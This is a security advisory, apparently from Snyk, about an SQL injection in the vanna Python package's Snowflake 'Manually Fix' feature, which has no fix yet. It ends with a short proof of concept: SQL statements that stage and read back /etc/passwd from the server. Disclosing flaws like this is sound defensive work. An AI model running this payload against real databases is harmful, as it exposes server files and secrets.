SQL Injection Affecting vanna package, versions [0,]
Threat Intelligence
Snyk has a proof-of-concept or detailed explanation of how to exploit this vulnerability.
The probability is the direct output of the EPSS model, and conveys an overall sense of the threat of exploitation in the wild. The percentile measures the EPSS probability relative to all known EPSS scores. Note: This data is updated daily, relying on the latest available EPSS model version. Check out the EPSS documentation for more details.
Do your applications use this vulnerable package?
In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.
Test your applications- Snyk IDSNYK-PYTHON-VANNA-9667555
- published7 Apr 2025
- disclosed20 Mar 2025
- creditPeng Zhou
Introduced: 20 Mar 2025
NewCVE-2024-8055 (opens in a new tab)How to fix?
There is no fixed version for vanna.
Overview
vanna is a Generate SQL queries from natural language
Affected versions of this package are vulnerable to SQL Injection by injecting a series of PUT and COPY statements as raw SQL using the "Manually Fix" feature in the Snowflake database integration. The run_sql_snowflake() function will execute those statements on the database without sanitization. An attacker can exploit this to read arbitrary local files on the server.
PoC
PUT file:///etc/passwd @~/leaked AUTO_COMPRESS=FALSE;
CREATE TABLE IF NOT EXISTS leakedtable (leakeddata VARCHAR(200));
COPY INTO LEAKEDTABLE from @~/leaked ON_ERROR=CONTINUE;
SELECT * FROM LEAKEDTABLE;